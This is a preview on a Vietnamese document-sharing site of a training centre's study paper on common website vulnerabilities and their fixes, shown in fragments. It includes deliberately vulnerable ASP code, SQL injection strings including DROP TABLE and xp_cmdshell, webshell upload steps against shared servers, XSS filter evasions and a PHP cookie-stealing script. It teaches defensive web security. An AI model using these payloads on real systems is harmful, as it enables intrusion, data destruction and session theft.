Đề tài: Tìm hiểu về các lỗ hổng thường gặp trong Website và cách khăc phục chúng

54 4.4K 23
Đề tài: Tìm hiểu về các lỗ hổng thường gặp trong Website và cách khăc phục chúng

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 1 Đề Tài: Các Lỗ Hỏng Thường Gặp Trên Hệ Thống Website 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 2 A. Lỗ hổng bảo mật Trên Hệ Thống Website: 1.Khái Niệm: Các lỗ hổng bảo mật trên một hệ thống là các điểm yếu có thể tạo ra sự ngưng trệ của dịch vụ, thêm quyền đối với người sử dụng hoặc cho phép các truy nhập không hợp pháp vào hệ thống. Các lỗ hổng cũng có thể nằm ngay các dịch vụ cung cấp như sendmail, web, ftp Ngoài ra các lỗ hổng còn tồn tại ngay chính tại hệ điều hành như trong Windows NT, Windows 95, UNIX; hoặc trong các ứng dụng mà người sử dụng thương xuyên sử dụng như Word processing, Các hệ databases 2.Phân loại lỗ hổng bảo mật : Có nhiều tổ chức khác nhau tiến hành phân loại các dạng lỗ hổng đặc biêt. Theo cách phân loại của Bộ quốc phòng Mỹ, các loại lỗ hổng bảo mật trên một hệ thống được chia như sau: - Lỗ hổng loại C: các lỗ hổng loại này cho phép thực hiện các phương thức tấn công theo DoS (Dinal of Services - Từ chối dịch vụ). Mức độ nguy hiểm thấp, chỉ ảnh hưởng tới chất lượng dịch vụ, có thể làm ngưng trệ, gián đoạn hệ thống; không làm phá hỏng dữ liệu hoặc đạt được quyền truy nhập bất hợp pháp - Lổ hổng loại B: Các lỗ hổng cho phép người sử dụng có thêm các quyền trên hệ thống mà không cần thực hiện kiểm tra tính hợp lệ. Mức độ nguy hiểm trung bình; Những lỗ hổng này thườngtrong các ứng dụng trên hệ thống; có thể dẫn đến mất hoặc lộ thông tin yêu cầu bảo mật. - Lỗ hổng loại A: Các lỗ hổng này cho phép người sử dụng ở ngoài có thể truy nhập vào hệ thống bất hợp pháp. Lỗ hổng rất nguy hiểm, có thể làm phá hủy toàn bộ hệ thống. Sau đây sẽ phân tích một số lỗ hổng bảo mật thường xuất hiện trên mạng hệ thống 3.Các kiểu tấn công thường gặp: 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 3 -SQL Injection. - Cross site scripting (XSS): non-persistent -Local Attack -Google Hack B. Các Kiểu Tấn Công Thường Gặp Cách Phòng Chống: I/SQL ịnjection: 1. SQL Injection là gì? Khi triển khai các ứng dụng web trên Internet, nhiều người vẫn nghĩ rằng việc đảm bảo an toàn, bảo mật nhằm giảm thiểu tối đa khả năng bị tấn công từ các tin tặc chỉ đơn thuần tập trung vào các vấn đề như chọn hệ điều hành, hệ quản trị cơ sở dữ liệu, webserver sẽ chạy ứng dụng, mà quên mất rằng ngay cả bản thân ứng dụng chạy trên đó cũng tiềm ẩn một lỗ hổng bảo mật rất lớn. Một trong số các lỗ hổng này đó là SQL injection. SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "tiêm vào" (inject) thi hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước). Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase. 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 4 2. Các dạng tấn công bằng SQL Injection Có bốn dạng thông thường bao gồm: vượt qua kiểm tra lúc đăng nhập (authorization bypass), sử dụng câu lện SELECT, sử dụng câu lệnh INSERT, sử dụng các stored-procedures a. Dạng tấn công vượt qua kiểm tra đăng nhập: Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. Một ví dụ điển hình, thông thường để cho phép người dùng truy cập 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 5 vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp. Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML để hiển thị form nhập liệu một trang ASP dùng để xử lí thông tin nhập từ phía người dùng. Ví dụ: CODE <form action="ExecLogin.asp" method="post"> Username: <input type="text" name="fUSRNAME"><br> Password: <input type="password" name="fPASSWORD"><br> <input type="submit"> </form> CODE <% Dim vUsrName, vPassword, objRS, strSQL vUsrName = Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD") strSQL = "SELECT * FROM T_USERS " & _ "WHERE USR_NAME=' " & vUsrName & _ " ' and USR_PASSWORD=' " & vPassword & " ' " Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN= " If (objRS.EOF) Then Response.Write "Invalid login." Else Response.Write "You are logged in as " & objRS("USR_NAME") End If Set objRS = Nothing %> 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 6 Thoạt nhìn, đoạn mã dường như không chứa bất cứ một lỗ hổng về an toàn nào. Người dùng không thể đăng nhập mà không có tên đăng nhập mật khẩu hợp lệ. Tuy nhiên, đoạn mã này thực sự không an toàn là tiền đề cho một lỗi SQL injection. Đặc biệt, sơ hở nằm ở chỗ dữ liệu nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh SQL. Chính điều này cho phép những kẻ tấn công có thể điều khiển câu truy vấn sẽ được thực hiện. Ví dụ, nếu người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang login.htm là: ' OR ' ' = ' '. Lúc này, câu truy vấn sẽ được gọi thực hiện là: SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''='' Câu truy vấn này là hợp lệ sẽ trả về tất cả các bản ghi của T_USERS đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ. b. Dạng tấn công sử dụng câu lệnh SELECT Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống đểtìm các điểm yếu khởi đầu cho việc tấn công. Xét một ví dụ rất thường gặp trong các website về tin tức. Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn nội dung của tin có ID này. Mã nguồn cho chức năng này thường được viết khá đơn giản theo dạng CODE <% Dim vNewsID, objRS, strSQL vNewsID = Request("ID") strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 7 3 Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN= " Set objRS = Nothing %> Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của tin có ID trùng với ID đã chỉ định hầu như không thấy có lỗi. Tuy nhiên, giống như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi SQL injection khác. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác, từ đó, khởi đầu cho một cuộc tấn công bất hợp pháp, ví dụ như: 0 OR 1=1 Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh: SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1 Một trường hợp khác, ví dụ như trang tìm kiếm. Trang này cho phép người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường gặp là: CODE <% Dim vAuthorName, objRS, strSQL vAuthorName = Request("fAUTHOR_NAME") strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' " & _ vAuthorName & " ' " Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN= " … Set objRS = Nothing %> 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 8 Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trường tên bằng chuỗi giá trị: ' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*) Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. Tất nhiên các ví dụ nói trên, dường như không có gì nguy hiểm, nhưng kẻ tấn công có thể xóa toàn bộ cơ sở dữ liệu bằng cách chèn vào các đoạn lệnh nguy hiểm như lệnh DROP TABLE. Ví dụ như: ' DROP TABLE T_AUTHORS Nhập vào chuỗi (*) như trên, nếu hệ thống báo lỗi về cú pháp dạng: Invalid object name “OtherTable”; ta có thể biết chắc là hệ thống đã thực hiện câu SELECT sau từ khóa UNION, vì như vậy mới có thể trả về lỗi mà ta đã cố tình tạo ra trong câu lệnh SELECT. Cũng sẽ có thắc mắc là làm thế nào có thể biết được tên của các bảng dữ liệu mà thực hiện các thao tác phá hoại khi ứng dụng web bị lỗi SQL injection. Cũng rất đơn giản, bởi vì trong SQL Server, có hai đối tượng là sysobjects syscolumns cho phép liệt kê tất cả các tên bảng cột có trong hệ thống. Ta chỉ cần chỉnh lại câu lệnh SELECT, ví dụ: ' UNION SELECT name FROM sysobjects WHERE xtype = 'U' là có thể liệt kê được tên tất cả các bảng dữ liệu. c. Dạng tấn công sử dụng câu lệnh INSERT Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem hiệu chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào. Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng: INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three'). Nếu đoạn mã xây dựng câu lệnh SQL có dạng : CODE 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 9 <% strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _ & strValueTwo & " ', ' " & strValueThree & " ') " Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN= " … Set objRS = Nothing %> Thì sẽ bị lỗi SQL injection, bởi vì nếu ta nhập vào trường thứ nhất ví dụ như: ' + (SELECT TOP 1 FieldName FROM TableName) + '. Lúc này câu truy vấn sẽ là: INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def'). Khi đó, lúc thực hiện lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa đó là: SELECT TOP 1 FieldName FROM TableName d Dạng tấn công sử dụng stored-procedures 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 10 Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell „cmd.exe dir C: '. Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe. 3. Cách phòng tránh Như vậy, có thể thấy lỗi SQL injection khai thác những bất cẩn của các lập trình viên phát triển ứng dụng web khi xử lí các dữ liệu nhập vào để xây dựng câu lệnh SQL. Tác hại từ lỗi SQL injection tùy thuộc vào môi trường cách cấu hình hệ thống. Nếu ứng dụng sử dụng quyền dbo (quyền của người sở hữu cơ sở dữ liệu - owner) khi thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu mới, … Nếu ứng dụng sử dụng quyền sa (quyền quản trị hệ thống), nó có thể điều khiển toàn bộ hệ quản trị cơ sở dữ liệu với quyền hạn rộng lớn như vậy nó có thể tạo ra [...]... bước thực hiện: 1 Xác định các website cần tấn công 2 Xác định các website đặt cùng server với mục tiêu Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 33 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN 3 Tìm cách khai thác một trong các website đặt chung server với mục tiêu Khai thác được 1 trong số các website đó Tìm cách upload webshell hoặc thực... “intext:” tìm kiếm các từ trong một website riêng biệt Nó phớt lờ các liên kết hoặc URL tiêu đề của trang Ví dụ: “intext:exploits” (không có ngoặc kép) sẽ cho kết quả là những liên kết đến những trang web có từ khóa tìm kiếm là "exploits" trong các trang của nó i.[ phonebook: ] “phonebook” tìm kiếm thông tin về các địa chỉ đường phố ở Mỹ số điện thoại Ví dụ: “phonebook:Lisa+CA” sẽ liệt kê tất cả các. .. hoá C Phát hiện XSS bằng cách nào ? Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn bạn có thể tham khảo danh sách các lỗ hổng của chương trình bạn trên các trang web chứa các thông tin về bảo mật như securityfocus.com, securiteam.com, Tuy nhiên nếu các website được tự viết mã nguồn thì bạn không thể áp dụng phương pháp trên Trong trường hợp này bạn cần đến các chương trình scanner... nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web cả những người sử dụng web Ngay cả đối với những trang như www.fbi.gov , www.yahoo.com , www.ebay.com cũng đã từng bị dính XSS Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS Trong bài viết này sẽ đề cập sơ lược... kiểm tra các lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS Đó là một Perl Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS của bạn Hơn nữa bạn có thể sử dụng nó trong cả môi trường Unix lẫn Windows D Ngăn ngừa XSS như thế nào ? Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không quá khó khăn để ngăn ngừa XSS Có rất nhiều cách để có... các hacker cũng sử dụng kĩ thuật này đề deface các website nhưng đó vẫn chỉ tấn công vào bề mặt của website Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác của website, khi họ vô tình vào các trang có chứa các. .. mã nguy hiểm do các hacker để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm B Khai thác với XSS Nhận biết website bị dính lỗi XSS : Thường thì XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào sau đó sẽ nhận được 1 cái gì đó Nên thường chúng ta sẽ kiểm... a.[ intitle: ] Cú pháp “intitle:” giúp Google giới hạn kết quả tìm kiếm về những trang có chứa từ đó trong tiêu đề Ví dụ, “intitle: login password” (không có ngoặc kép) sẽ cho kết quả là những link đến những trang có từ "login" trong tiêu đề, từ "password" nằm ở đâu đó trong trang Tương tự, nếu ta muốn truy vấn nhiều hơn một từ trong tiêu đề của trang thì ta có thể dùng “allintitle:” thay cho “intitle”... bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ) những đoạn mã script nguy hiểm để thực thi 1 câu lệnh nào đó Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Tài liệu nghiên cứu an ninh web – lưu hành nội bộ 12 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN Client-Site Script như JavaScript, JScript, DHTML cũng... vì người lập trình website cũng đâu thể nào dễ dàng để cho chúng ta lộng hành như vậy , họ cũng có chiêu để ngăn cản chúng ta , cách họ dùng là "Lọc code" (Anti-XSS Filter) Cơ chế của họ như sau : bộ lọc này sẽ loại bỏ các kí tự đặc biệt mà người dùng nhập vào , đơn giản vậy thôi Giả sử : 1/ Nếu "Bộ lọc" loại bỏ 2 kí tự "" : Hacker sẽ dùng "\x3c" "\x3e" để thay thế bắt đầu chèn code . hành phân lo i các dạng lỗ hổng đặc biêt. Theo cách phân lo i của Bộ quốc phòng Mỹ, các lo i lỗ hổng bảo mật trên một hệ thống được chia như sau: - Lỗ hổng lo i C: các lỗ hổng lo i này cho. SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*) Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION. /*XSS Exploit */ /*PHP Cookie Saver */ $f=fopen("xss.txt","a"); $cook=$HTTP_GET_VARS["cookie"]; fputs($f,$cook.chr(13)); fclose($f); header("location:

Ngày đăng: 18/04/2014, 09:37

Từ khóa liên quan

Tài liệu cùng người dùng

Tài liệu liên quan